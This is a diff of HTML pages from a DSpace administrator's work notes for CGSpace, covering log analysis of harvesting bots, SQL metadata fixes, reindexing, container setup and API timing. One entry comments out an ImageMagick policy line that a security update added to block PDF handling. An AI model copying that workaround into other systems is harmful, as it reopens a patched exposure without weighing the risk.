  • This changes “Open Access” to “Unrestricted Access” and “Limited Access” to “Restricted Access”
    • +
  • After that I did a full Discovery reindex:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    77m3.755s
+user    7m39.785s
+sys     2m18.485s
+
    +
  • I told Peter it’s better to do the access rights before the usage rights because the git branches are conflicting with each other and it’s actually a pain in the ass to keep changing the values as we discuss, rebase, merge, fix conflicts…
    • +
  • Udana and Mia from WLE were asking some questions about their WLE Feedburner feed
    • +
  • It’s pretty confusing, because until recently they were entering issue dates as only YYYY (like 2018) and their feeds were all showing items in the wrong order
    • +
  • I’m not exactly sure what their problem now is, though (confusing)
    • +
  • I updated the dspace-statistiscs-api to use psycopg2’s execute_values() to insert batches of 100 values into PostgreSQL instead of doing every insert individually
    • +
  • On CGSpace this reduces the total run time of indexer.py from 432 seconds to 400 seconds (most of the time is actually spent in getting the data from Solr though)
    • +
+

2018-09-27

+
    +
  • Linode emailed to say that CGSpace’s (linode19) CPU load was high for a few hours last night
    • +
  • Looking in the nginx logs around that time I see some new IPs that look like they are harvesting things:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "26/Sep/2018:(19|20|21)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    295 34.218.226.147
+    296 66.249.64.95
+    350 157.55.39.185
+    359 207.46.13.28
+    371 157.55.39.85
+    388 40.77.167.148
+    444 66.249.64.93
+    544 68.6.87.12
+    834 66.249.64.91
+    902 35.237.175.180
+
    +
  • 35.237.175.180 is on Google Cloud
    • +
  • 68.6.87.12 is on Cox Communications in the US (?)
    • +
  • These hosts are not using proper user agents and are not re-using their Tomcat sessions:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=35.237.175.180' dspace.log.2018-09-26 | sort | uniq
+5423
+$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=68.6.87.12' dspace.log.2018-09-26 | sort | uniq
+758
+
    +
  • I will add their IPs to the list of bad bots in nginx so we can add a “bot” user agent to them and let Tomcat’s Crawler Session Manager Valve handle them
    • +
  • I asked Atmire to prepare an invoice for 125 credits
    • +
+

2018-09-29

+
    +
  • I merged some changes to author affiliations from Sisay as well as some corrections to organizational names using smart quotes like Université d’Abomey Calavi (#388)
    • +
  • Peter sent me a list of 43 author names to fix, but it had some encoding errors like Belalcázar, John like usual (I will tell him to stop trying to export as UTF-8 because it never seems to work)
    • +
  • I did batch replaces for both on CGSpace with my fix-metadata-values.py script:
    • +
+
$ ./fix-metadata-values.py -i 2018-09-29-fix-affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -t correct -m 211
+$ ./fix-metadata-values.py -i 2018-09-29-fix-authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t correct -m 3
+
    +
  • Afterwards I started a full Discovery re-index:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
    +
  • Linode sent an alert that both CGSpace and DSpace Test were using high CPU for the last two hours
    • +
  • It seems to be Moayad trying to do the AReS explorer indexing
    • +
  • He was sending too many (5 or 10) concurrent requests to the server, but still… why is this shit so slow?!
    • +
+

2018-09-30

+
    +
  • Valerio keeps sending items on CGSpace that have weird or incorrect languages, authors, etc
    • +
  • I think I should just batch export and update all languages…
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/2018-09-30-languages.csv with csv;
+
    +
  • Then I can simply delete the “Other” and “other” ones because that’s not useful at all:
    • +
+
dspace=# DELETE FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='Other';
+DELETE 6
+dspace=# DELETE FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='other';
+DELETE 79
+
    +
  • Looking through the list I see some weird language codes like gh, so I checked out those items:
    • +
+
dspace=# SELECT resource_id FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='gh';
+ resource_id
+-------------
+       94530
+       94529
+dspace=# SELECT handle,item_id FROM item, handle WHERE handle.resource_type_id=2 AND handle.resource_id = item.item_id AND handle.resource_id in (94530, 94529);
+   handle    | item_id
+-------------+---------
+ 10568/91386 |   94529
+ 10568/91387 |   94530
+
    +
  • Those items are from Ghana, so the submitter apparently thought gh was a language… I can safely delete them:
    • +
+
dspace=# DELETE FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='gh';
+DELETE 2
+
    +
  • The next issue would be jn:
    • +
+
dspace=# SELECT resource_id FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='jn';
+ resource_id
+-------------
+       94001
+       94003
+dspace=# SELECT handle,item_id FROM item, handle WHERE handle.resource_type_id=2 AND handle.resource_id = item.item_id AND handle.resource_id in (94001, 94003);
+   handle    | item_id
+-------------+---------
+ 10568/90868 |   94001
+ 10568/90870 |   94003
+
    +
  • Those items are about Japan, so I will update them to be ja
    • +
  • Other replacements:
    • +
+
DELETE FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='gh';
+UPDATE metadatavalue SET text_value='fr' WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='fn';
+UPDATE metadatavalue SET text_value='hi' WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='in';
+UPDATE metadatavalue SET text_value='ja' WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='Ja';
+UPDATE metadatavalue SET text_value='ja' WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='jn';
+UPDATE metadatavalue SET text_value='ja' WHERE resource_type_id=2 AND metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'language' and qualifier = 'iso') AND text_value='jp';
+
    +
  • Then there are 12 items with en|hi, but they were all in one collection so I just exported it as a CSV and then re-imported the corrected metadata
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-10/index.html b/docs/2018-10/index.html new file mode 100644 index 000000000..0ddb56928 --- /dev/null +++ b/docs/2018-10/index.html @@ -0,0 +1,710 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + October, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

October, 2018

+

+ + in + Notes + + +

+
+

2018-10-01

+
    +
  • Phil Thornton got an ORCID identifier so we need to add it to the list on CGSpace and tag his existing items
    • +
  • I created a GitHub issue to track this #389, because I’m super busy in Nairobi right now
    • +
+

2018-10-03

+
    +
  • I see Moayad was busy collecting item views and downloads from CGSpace yesterday:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Oct/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    933 40.77.167.90
+    971 95.108.181.88
+   1043 41.204.190.40
+   1454 157.55.39.54
+   1538 207.46.13.69
+   1719 66.249.64.61
+   2048 50.116.102.77
+   4639 66.249.64.59
+   4736 35.237.175.180
+ 150362 34.218.226.147
+
    +
  • Of those, about 20% were HTTP 500 responses (!):
    • +
+
$ zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Oct/2018" | grep 34.218.226.147 | awk '{print $9}' | sort -n | uniq -c
+ 118927 200
+  31435 500
+
    +
  • I added Phil Thornton and Sonal Henson’s ORCID identifiers to the controlled vocabulary for cg.creator.orcid and then re-generated the names using my resolve-orcids.py script:
    • +
+
$ grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml | sort | uniq > 2018-10-03-orcids.txt
+$ ./resolve-orcids.py -i 2018-10-03-orcids.txt -o 2018-10-03-names.txt -d
+
    +
  • I found a new corner case error that I need to check, given and family names deactivated:
    • +
+
Looking up the names associated with ORCID iD: 0000-0001-7930-5752
+Given Names Deactivated Family Name Deactivated: 0000-0001-7930-5752
+
    +
  • It appears to be Jim Lorenzen… I need to check that later!
    • +
  • I merged the changes to the 5_x-prod branch (#390)
    • +
  • Linode sent another alert about CPU usage on CGSpace (linode18) this evening
    • +
  • It seems that Moayad is making quite a lot of requests today:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "03/Oct/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+   1594 157.55.39.160
+   1627 157.55.39.173
+   1774 136.243.6.84
+   4228 35.237.175.180
+   4497 70.32.83.92
+   4856 66.249.64.59
+   7120 50.116.102.77
+  12518 138.201.49.199
+  87646 34.218.226.147
+ 111729 213.139.53.62
+
    +
  • But in super positive news, he says they are using my new dspace-statistics-api and it’s MUCH faster than using Atmire CUA’s internal “restlet” API
    • +
  • I don’t recognize the 138.201.49.199 IP, but it is in Germany (Hetzner) and appears to be paginating over some browse pages and downloading bitstreams:
    • +
+
# grep 138.201.49.199 /var/log/nginx/access.log | grep -o -E 'GET /[a-z]+' | sort | uniq -c
+   8324 GET /bitstream
+   4193 GET /handle
+
    +
  • Suspiciously, it’s only grabbing the CGIAR System Office community (handle prefix 10947):
    • +
+
# grep 138.201.49.199 /var/log/nginx/access.log | grep -o -E 'GET /handle/[0-9]{5}' | sort | uniq -c
+      7 GET /handle/10568
+   4186 GET /handle/10947
+
    +
  • The user agent is suspicious too:
    • +
+
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+
    +
  • It’s clearly a bot and it’s not re-using its Tomcat session, so I will add its IP to the nginx bad bot list
    • +
  • I looked in Solr’s statistics core and these hits were actually all counted as isBot:false (of course)… hmmm
    • +
  • I tagged all of Sonal and Phil’s items with their ORCID identifiers on CGSpace using my add-orcid-identifiers.py script:
    • +
+
$ ./add-orcid-identifiers-csv.py -i 2018-10-03-add-orcids.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • Where 2018-10-03-add-orcids.csv contained:
    • +
+
dc.contributor.author,cg.creator.id
+"Henson, Sonal P.",Sonal Henson: 0000-0002-2002-5462
+"Henson, S.",Sonal Henson: 0000-0002-2002-5462
+"Thornton, P.K.",Philip Thornton: 0000-0002-1854-0182
+"Thornton, Philip K",Philip Thornton: 0000-0002-1854-0182
+"Thornton, Phil",Philip Thornton: 0000-0002-1854-0182
+"Thornton, Philip K.",Philip Thornton: 0000-0002-1854-0182
+"Thornton, Phillip",Philip Thornton: 0000-0002-1854-0182
+"Thornton, Phillip K.",Philip Thornton: 0000-0002-1854-0182
+

2018-10-04

+
    +
  • Salem raised an issue that the dspace-statistics-api reports downloads for some items that have no bitstreams (like many limited access items)
    • +
  • Every item has at least a LICENSE bundle, and some have a THUMBNAIL bundle, but the indexing code is specifically checking for downloads from the ORIGINAL bundle + +
    • +
  • I see there are other bundles we might need to pay attention to: TEXT, @_LOGO-COLLECTION_@, @_LOGO-COMMUNITY_@, etc…
    • +
  • On a hunch I dropped the statistics table and re-indexed and now those two items above have no downloads
    • +
  • So it’s fixed, but I’m not sure why!
    • +
  • Peter wants to know the number of API requests per month, which was about 250,000 in September (exluding statlet requests):
    • +
+
# zcat --force /var/log/nginx/{oai,rest}.log* | grep -E 'Sep/2018' | grep -c -v 'statlets'
+251226
+
    +
  • I found a logic error in the dspace-statistics-api indexer.py script that was causing item views to be inserted into downloads
    • +
  • I tagged version 0.4.2 of the tool and redeployed it on CGSpace
    • +
+

2018-10-05

+
    +
  • Meet with Peter, Abenet, and Sisay to discuss CGSpace meeting in Nairobi and Sisay’s work plan
    • +
  • We agreed that he would do monthly updates of the controlled vocabularies and generate a new one for the top 1,000 AGROVOC terms
    • +
  • Add a link to AReS explorer to the CGSpace homepage introduction text
    • +
+

2018-10-06

+
    +
  • Follow up with AgriKnowledge about including Handle links (dc.identifier.uri) on their item pages
    • +
  • In July, 2018 they had said their programmers would include the field in the next update of their website software
    • +
  • CIMMYT’s DSpace repository is now running DSpace 5.x!
    • +
  • It’s running OAI, but not REST, so I need to talk to Richard about that!
    • +
+

2018-10-08

+
    +
  • AgriKnowledge says they’re going to add the dc.identifier.uri to their item view in November when they update their website software
    • +
+

2018-10-10

+
    +
  • Peter noticed that some recently added PDFs don’t have thumbnails
    • +
  • When I tried to force them to be generated I got an error that I’ve never seen before:
    • +
+
$ dspace filter-media -v -f -i 10568/97613
+org.im4java.core.InfoException: org.im4java.core.CommandException: org.im4java.core.CommandException: identify: not authorized `/tmp/impdfthumb5039464037201498062.pdf' @ error/constitute.c/ReadImage/412.
+
    +
  • I see there was an update to Ubuntu’s ImageMagick on 2018-10-05, so maybe something changed or broke?
    • +
  • I get the same error when forcing filter-media to run on DSpace Test too, so it’s gotta be an ImageMagic bug
    • +
  • The ImageMagick version is currently 8:6.8.9.9-7ubuntu5.13, and there is an Ubuntu Security Notice from 2018-10-04
    • +
  • Wow, someone on Twitter posted about this breaking his web application (and it was retweeted by the ImageMagick acount!)
    • +
  • I commented out the line that disables PDF thumbnails in /etc/ImageMagick-6/policy.xml:
    • +
+
  <!--<policy domain="coder" rights="none" pattern="PDF" />-->
+
    +
  • This works, but I’m not sure what ImageMagick’s long-term plan is if they are going to disable ALL image formats…
    • +
  • I suppose I need to enable a workaround for this in Ansible?
    • +
+

2018-10-11

+
    +
  • I emailed DuraSpace to update our entry in their DSpace registry (the data was still on DSpace 3, JSPUI, etc)
    • +
  • Generate a list of the top 1500 values for dc.subject so Sisay can start making a controlled vocabulary for it:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE metadata_field_id = 57 AND resource_type_id = 2 GROUP BY text_value ORDER BY count DESC LIMIT 1500) to /tmp/2018-10-11-top-1500-subject.csv WITH CSV HEADER;
+COPY 1500
+
    +
  • Give WorldFish advice about Handles because they are talking to some company called KnowledgeArc who recommends they do not use Handles!
    • +
  • Last week I emailed Altmetric to ask if their software would notice mentions of our Handle in the format “handle:10568/80775” because I noticed that the Land Portal does this
    • +
  • Altmetric support responded to say no, but the reason is that Land Portal is doing even more strange stuff by not using <meta> tags in their page header, and using “dct:identifier” property instead of “dc:identifier”
    • +
  • I re-created my local DSpace databse container using podman instead of Docker:
    • +
+
$ mkdir -p ~/.local/lib/containers/volumes/dspacedb_data
+$ sudo podman create --name dspacedb -v /home/aorth/.local/lib/containers/volumes/dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+$ sudo podman start dspacedb
+$ createuser -h localhost -U postgres --pwprompt dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -U postgres -d dspacetest -O --role=dspacetest -h localhost ~/Downloads/cgspace_2018-10-11.backup
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest nosuperuser;'
+$ psql -h localhost -U postgres -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest
+
    +
  • I tried to make an Artifactory in podman, but it seems to have problems because Artifactory is distributed on the Bintray repository
    • +
  • I can pull the docker.bintray.io/jfrog/artifactory-oss:latest image, but not start it
    • +
  • I decided to use a Sonatype Nexus repository instead:
    • +
+
$ mkdir -p ~/.local/lib/containers/volumes/nexus_data
+$ sudo podman run --name nexus -d -v /home/aorth/.local/lib/containers/volumes/nexus_data:/nexus_data -p 8081:8081 sonatype/nexus3
+
    +
  • With a few changes to my local Maven settings.xml it is working well
    • +
  • Generate a list of the top 10,000 authors for Peter Ballantyne to look through:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE metadata_field_id = 3 AND resource_type_id = 2 GROUP BY text_value ORDER BY count DESC LIMIT 10000) to /tmp/2018-10-11-top-10000-authors.csv WITH CSV HEADER;
+COPY 10000
+
    +
  • CTA uploaded some infographics that are very tall and their thumbnails disrupt the item lists on the front page and in their communities and collections
    • +
  • I decided to constrain the max height of these to 200px using CSS (#392)
    • +
+

2018-10-13

+
    +
  • Run all system updates on DSpace Test (linode19) and reboot it
    • +
  • Look through Peter’s list of 746 author corrections in OpenRefine
    • +
  • I first facet by blank, trim whitespace, and then check for weird characters that might be indicative of encoding issues with this GREL:
    • +
+
or(
+  isNotNull(value.match(/.*\uFFFD.*/)),
+  isNotNull(value.match(/.*\u00A0.*/)),
+  isNotNull(value.match(/.*\u200A.*/)),
+  isNotNull(value.match(/.*\u2019.*/)),
+  isNotNull(value.match(/.*\u00b4.*/))
+)
+
    +
  • Then I exported and applied them on my local test server:
    • +
+
$ ./fix-metadata-values.py -i 2018-10-11-top-authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t CORRECT -m 3
+
    +
  • I will apply these on CGSpace when I do the other updates tomorrow, as well as double check the high scoring ones to see if they are correct in Sisay’s author controlled vocabulary
    • +
+

2018-10-14

+
    +
  • Merge the authors controlled vocabulary (#393), usage rights (#394), and the upstream DSpace 5.x cherry-picks (#394) into our 5_x-prod branch
    • +
  • Switch to new CGIAR LDAP server on CGSpace, as it’s been running (at least for authentication) on DSpace Test for the last few weeks, and I think they old one will be deprecated soon (today?)
    • +
  • Apply Peter’s 746 author corrections on CGSpace and DSpace Test using my fix-metadata-values.py script:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2018-10-11-top-authors.csv -f dc.contributor.author -t CORRECT -m 3 -db dspace -u dspace -p 'fuuu'
+
    +
  • Run all system updates on CGSpace (linode19) and reboot the server
    • +
  • After rebooting the server I noticed that Handles are not resolving, and the dspace-handle-server systemd service is not running (or rather, it exited with success)
    • +
  • Restarting the service with systemd works for a few seconds, then the java process quits
    • +
  • I suspect that the systemd service type needs to be forking rather than simple, because the service calls the default DSpace start-handle-server shell script, which uses nohup and & to background the java process
    • +
  • It would be nice if there was a cleaner way to start the service and then just log to the systemd journal rather than all this hiding and log redirecting
    • +
  • Email the Landportal.org people to ask if they would consider Dublin Core metadata tags in their page’s header, rather than the HTML properties they are using in their body
    • +
  • Peter pointed out that some thumbnails were still not getting generated +
      +
    • When I tried to generate them manually I noticed that the path to the CMYK profile had changed because Ubuntu upgraded Ghostscript from 9.18 to 9.25 last week… WTF?
      • +
    • Looks like I can use /usr/share/ghostscript/current instead of /usr/share/ghostscript/9.25…
      • +
    +
    • +
  • I limited the tall thumbnails even further to 170px because Peter said CTA’s were still too tall at 200px (#396)
    • +
+

2018-10-15

+
    +
  • Tomcat on DSpace Test (linode19) has somehow stopped running all the DSpace applications
    • +
  • I don’t see anything in the Catalina logs or dmesg, and the Tomcat manager shows XMLUI, REST, OAI, etc all “Running: false”
    • +
  • Actually, now I remember that yesterday when I deployed the latest changes from git on DSpace Test I noticed a syntax error in one XML file when I was doing the discovery reindexing
    • +
  • I fixed it so that I could reindex, but I guess the rest of DSpace actually didn’t start up…
    • +
  • Create an account on DSpace Test for Felix from Earlham so he can test COPO submission +
      +
    • I created a new collection and added him as the administrator so he can test submission
      • +
    • He said he actually wants to test creation of communities, collections, etc, so I had to make him a super admin for now
      • +
    • I told him we need to think about the workflow more seriously in the future
      • +
    +
    • +
  • I ended up having some issues with podman and went back to Docker, so I had to re-create my containers:
    • +
+
$ sudo docker run --name nexus --network dspace-build -d -v /home/aorth/.local/lib/containers/volumes/nexus_data:/nexus_data -p 8081:8081 sonatype/nexus3
+$ sudo docker run --name dspacedb -v /home/aorth/.local/lib/containers/volumes/dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+$ createuser -h localhost -U postgres --pwprompt dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -U postgres -d dspacetest -O --role=dspacetest -h localhost ~/Downloads/cgspace_2018-10-11.backup
+$ psql -h localhost -U postgres -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest nosuperuser;'
+

2018-10-16

+
    +
  • Generate a list of the schema on CGSpace so CodeObia can compare with MELSpace:
    • +
+
dspace=# \copy (SELECT (CASE when metadata_schema_id=1 THEN 'dc' WHEN metadata_schema_id=2 THEN 'cg' END) AS schema, element, qualifier, scope_note FROM metadatafieldregistry where metadata_schema_id IN (1,2)) TO /tmp/cgspace-schema.csv WITH CSV HEADER;
+
    +
  • Talking to the CodeObia guys about the REST API I started to wonder why it’s so slow and how I can quantify it in order to ask the dspace-tech mailing list for help profiling it
    • +
  • Interestingly, the speed doesn’t get better after you request the same thing multiple times–it’s consistently bad on both CGSpace and DSpace Test!
    • +
+
$ time http --print h 'https://cgspace.cgiar.org/rest/items?expand=metadata,bitstreams,parentCommunityList&limit=100&offset=0'
+...
+0.35s user 0.06s system 1% cpu 25.133 total
+0.31s user 0.04s system 1% cpu 25.223 total
+0.27s user 0.06s system 1% cpu 27.858 total
+0.20s user 0.05s system 1% cpu 23.838 total
+0.30s user 0.05s system 1% cpu 24.301 total
+
+$ time http --print h 'https://dspacetest.cgiar.org/rest/items?expand=metadata,bitstreams,parentCommunityList&limit=100&offset=0'
+...
+0.22s user 0.03s system 1% cpu 17.248 total
+0.23s user 0.02s system 1% cpu 16.856 total
+0.23s user 0.04s system 1% cpu 16.460 total
+0.24s user 0.04s system 1% cpu 21.043 total
+0.22s user 0.04s system 1% cpu 17.132 total
+
    +
  • I should note that at this time CGSpace is using Oracle Java and DSpace Test is using OpenJDK (both version 8)
    • +
  • I wonder if the Java garbage collector is important here, or if there are missing indexes in PostgreSQL?
    • +
  • I switched DSpace Test to the G1GC garbage collector and tried again and now the results are worse!
    • +
+
$ time http --print h 'https://dspacetest.cgiar.org/rest/items?expand=metadata,bitstreams,parentCommunityList&limit=100&offset=0'
+...
+0.20s user 0.03s system 0% cpu 25.017 total
+0.23s user 0.02s system 1% cpu 23.299 total
+0.24s user 0.02s system 1% cpu 22.496 total
+0.22s user 0.03s system 1% cpu 22.720 total
+0.23s user 0.03s system 1% cpu 22.632 total
+
    +
  • If I make a request without the expands it is ten time faster:
    • +
+
$ time http --print h 'https://dspacetest.cgiar.org/rest/items?limit=100&offset=0'
+...
+0.20s user 0.03s system 7% cpu 3.098 total
+0.22s user 0.03s system 8% cpu 2.896 total
+0.21s user 0.05s system 9% cpu 2.787 total
+0.23s user 0.02s system 8% cpu 2.896 total
+
    +
  • I sent a mail to dspace-tech to ask how to profile this…
    • +
+

2018-10-17

+
    +
  • I decided to update most of the existing metadata values that we have in dc.rights on CGSpace to be machine readable in SPDX format (with Creative Commons version if it was included)
    • +
  • Most of the are from Bioversity, and I asked Maria for permission before updating them
    • +
  • I manually went through and looked at the existing values and updated them in several batches:
    • +
+
UPDATE metadatavalue SET text_value='CC-BY-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%CC BY %';
+UPDATE metadatavalue SET text_value='CC-BY-NC-ND-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%4.0%' AND text_value LIKE '%BY-NC-ND%' AND text_value LIKE '%by-nc-nd%';
+UPDATE metadatavalue SET text_value='CC-BY-NC-SA-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%4.0%' AND text_value LIKE '%BY-NC-SA%' AND text_value LIKE '%by-nc-sa%';
+UPDATE metadatavalue SET text_value='CC-BY-3.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%3.0%' AND text_value LIKE '%/by/%';
+UPDATE metadatavalue SET text_value='CC-BY-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%4.0%' AND text_value LIKE '%/by/%' AND text_value NOT LIKE '%zero%';
+UPDATE metadatavalue SET text_value='CC-BY-NC-2.5' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE
+'%/by-nc%' AND text_value LIKE '%2.5%';
+UPDATE metadatavalue SET text_value='CC-BY-NC-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%/by-nc%' AND text_value LIKE '%4.0%';
+UPDATE metadatavalue SET text_value='CC-BY-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%4.0%' AND text_value LIKE '%Attribution %' AND text_value NOT LIKE '%zero%';
+UPDATE metadatavalue SET text_value='CC-BY-NC-SA-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value NOT LIKE '%zero%' AND text_value LIKE '%4.0%' AND text_value LIKE '%Attribution-NonCommercial-ShareAlike%';
+UPDATE metadatavalue SET text_value='CC-BY-NC-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%4.0%' AND text_value NOT LIKE '%zero%' AND text_value LIKE '%Attribution-NonCommercial %';
+UPDATE metadatavalue SET text_value='CC-BY-NC-3.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%3.0%' AND text_value NOT LIKE '%zero%' AND text_value LIKE '%Attribution-NonCommercial %';
+UPDATE metadatavalue SET text_value='CC-BY-3.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%3.0%' AND text_value NOT LIKE '%zero%' AND text_value LIKE '%Attribution %';
+UPDATE metadatavalue SET text_value='CC-BY-ND-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND resource_id=78184;
+UPDATE metadatavalue SET text_value='CC-BY' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value NOT LIKE '%zero%' AND text_value NOT LIKE '%CC0%' AND text_value LIKE '%Attribution %' AND text_value NOT LIKE '%CC-%';
+UPDATE metadatavalue SET text_value='CC-BY-NC-4.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND resource_id=78564;
+
    +
  • I updated the fields on CGSpace and then started a re-index of Discovery
    • +
  • We also need to re-think the dc.rights field in the submission form: we should probably use a popup controlled vocabulary and list the Creative Commons values with version numbers and allow the user to enter their own (like the ORCID identifier field)
    • +
  • Ask Jane if we can use some of the BDP money to host AReS explorer on a more powerful server
    • +
  • IWMI sent me a list of new ORCID identifiers for their staff so I combined them with our list, updated the names with my resolve-orcids.py script, and regenerated the controlled vocabulary:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml MEL\ ORCID.json MEL\ ORCID_V2.json 2018-10-17-IWMI-ORCIDs.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq >
+2018-10-17-orcids.txt
+$ ./resolve-orcids.py -i 2018-10-17-orcids.txt -o 2018-10-17-names.txt -d
+$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • I also decided to add the ORCID identifiers that MEL had sent us a few months ago…
    • +
  • One problem I had with the resolve-orcids.py script is that one user seems to have disabled their profile data since we last updated:
    • +
+
Looking up the names associated with ORCID iD: 0000-0001-7930-5752
+Given Names Deactivated Family Name Deactivated: 0000-0001-7930-5752
+
    +
  • So I need to handle that situation in the script for sure, but I’m not sure what to do organizationally or ethically, since that user disabled their name! Do we remove him from the list?
    • +
  • I made a pull request and merged the ORCID updates into the 5_x-prod branch (#397)
    • +
  • Improve the logic of name checking in my resolve-orcids.py script
    • +
+

2018-10-18

+
    +
  • I granted MEL’s deposit user admin access to IITA, CIP, Bioversity, and RTB communities on DSpace Test so they can start testing real depositing
    • +
  • After they do some tests and we check the values Enrico will send a formal email to Peter et al to ask that they start depositing officially
    • +
  • I upgraded PostgreSQL to 9.6 on DSpace Test using Ansible, then had to manually migrate from 9.5 to 9.6:
    • +
+
# su - postgres
+$ /usr/lib/postgresql/9.6/bin/pg_upgrade -b /usr/lib/postgresql/9.5/bin -B /usr/lib/postgresql/9.6/bin -d /var/lib/postgresql/9.5/main -D /var/lib/postgresql/9.6/main -o ' -c config_file=/etc/postgresql/9.5/main/postgresql.conf' -O ' -c config_file=/etc/postgresql/9.6/main/postgresql.conf'
+$ exit
+# systemctl start postgresql
+# dpkg -r postgresql-9.5 postgresql-client-9.5 postgresql-contrib-9.5
+

2018-10-19

+
    +
  • Help Francesca from Bioversity generate a report about items they uploaded in 2015 through 2018
    • +
  • Linode emailed me to say that CGSpace (linode18) had high CPU usage for a few hours this afternoon
    • +
  • Looking at the nginx logs around that time I see the following IPs making the most requests:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "19/Oct/2018:(12|13|14|15)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    361 207.46.13.179
+    395 181.115.248.74
+    485 66.249.64.93
+    535 157.55.39.213
+    536 157.55.39.99
+    551 34.218.226.147
+    580 157.55.39.173
